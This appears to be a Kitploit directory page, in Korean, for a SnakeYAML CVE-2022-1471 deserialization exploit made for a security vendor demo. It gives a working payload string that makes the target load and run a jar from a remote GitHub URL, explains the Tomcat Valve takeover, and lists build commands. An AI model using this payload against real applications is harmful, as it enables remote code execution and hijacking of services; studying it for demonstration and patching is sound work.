Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
yaml-payload — Seal Security 데모용 SnakeYAML CVE-2022-1471 익스플로잇 페이로드 | Kitploit
도구/GitHubGitHub/seal-sean-org/yaml-payload
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubseal-sean-org/yaml-payload

yaml-payload

Seal Security 데모용 SnakeYAML CVE-2022-1471 익스플로잇 페이로드

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

yaml-payload

CVE-2022-1471용 SnakeYAML 역직렬화 공격 페이로드로, artsploit/yaml-payload에서 각색했습니다(원래는 mbechler/marshalsec 기반).

동작 방식

SnakeYAML의 안전하지 않은 Yaml.load()를 통해 로드되면, 이 페이로드는 실행 중인 애플리케이션을 장악하고 이를 "You've Been PWNED" 페이지로 대체합니다:

  1. Tomcat Valve를 주입합니다. 리플렉션을 통해 실행 중인 Spring Boot 앱에 Valve를 주입하여 기존 8080 포트를 가로챕니다. 이제 동일한 URL(ngrok 터널 포함)이 PWNED 페이지를 제공합니다.
  2. 브라우저를 자동으로 리디렉션합니다. POST 응답이 302 리디렉션을 보내므로, 사용자가 수동으로 새로고침하지 않아도 브라우저가 즉시 PWNED 페이지를 로드합니다.
  3. 브라우저를 올바른 URL로 자동으로 엽니다(ngrok 공개 URL이 있으면 그 URL, 없으면 localhost:8080).
  4. 공격 증거를 콘솔/CI 로그에 출력합니다.

Tomcat Valve 주입을 사용할 수 없는 경우(예: Spring이 아닌 앱), 포트 9999에서 독립 실행형 HTTP 서버를 시작하고, ngrok가 실행 중이면 ngrok 터널을 자동으로 생성하는 방식으로 대체합니다.

이 페이로드는 macOS 로컬 환경과 CI/CD 파이프라인(예: Ubuntu의 GitHub Actions) 모두에서 작동합니다.

공격 체인이 작동하는 방식

SnakeYAML 페이로드는 Java SPI(Service Provider Interface)를 통해 ScriptEngineManager를 트리거합니다:

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML이 이 저장소의 yaml-payload.jar를 가리키는 java.net.URL을 인스턴스화합니다.
  2. 이를 URLClassLoader로 감싸 원격 클래스를 로드합니다.
  3. ScriptEngineManager가 META-INF/services/javax.script.ScriptEngineFactory를 통해 AwesomeScriptEngineFactory를 발견하고 로드합니다.
  4. 팩토리의 생성자가 실행 중인 Tomcat 파이프라인에 Valve를 주입하여 /에 대한 이후의 모든 응답을 PWNED 페이지로 대체합니다.

빌드

JDK 17+ 필요:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

사용법

maven-demo 프로젝트에서 공격 페이로드로 사용됩니다. 페이로드 문자열을 앱의 name 필드에 붙여넣으면 RCE가 트리거됩니다. 다음 요청 시 앱 페이지가 PWNED 페이지로 대체됩니다. 전체 데모 지침은 해당 저장소의 README를 참조하세요.

도구 다운로드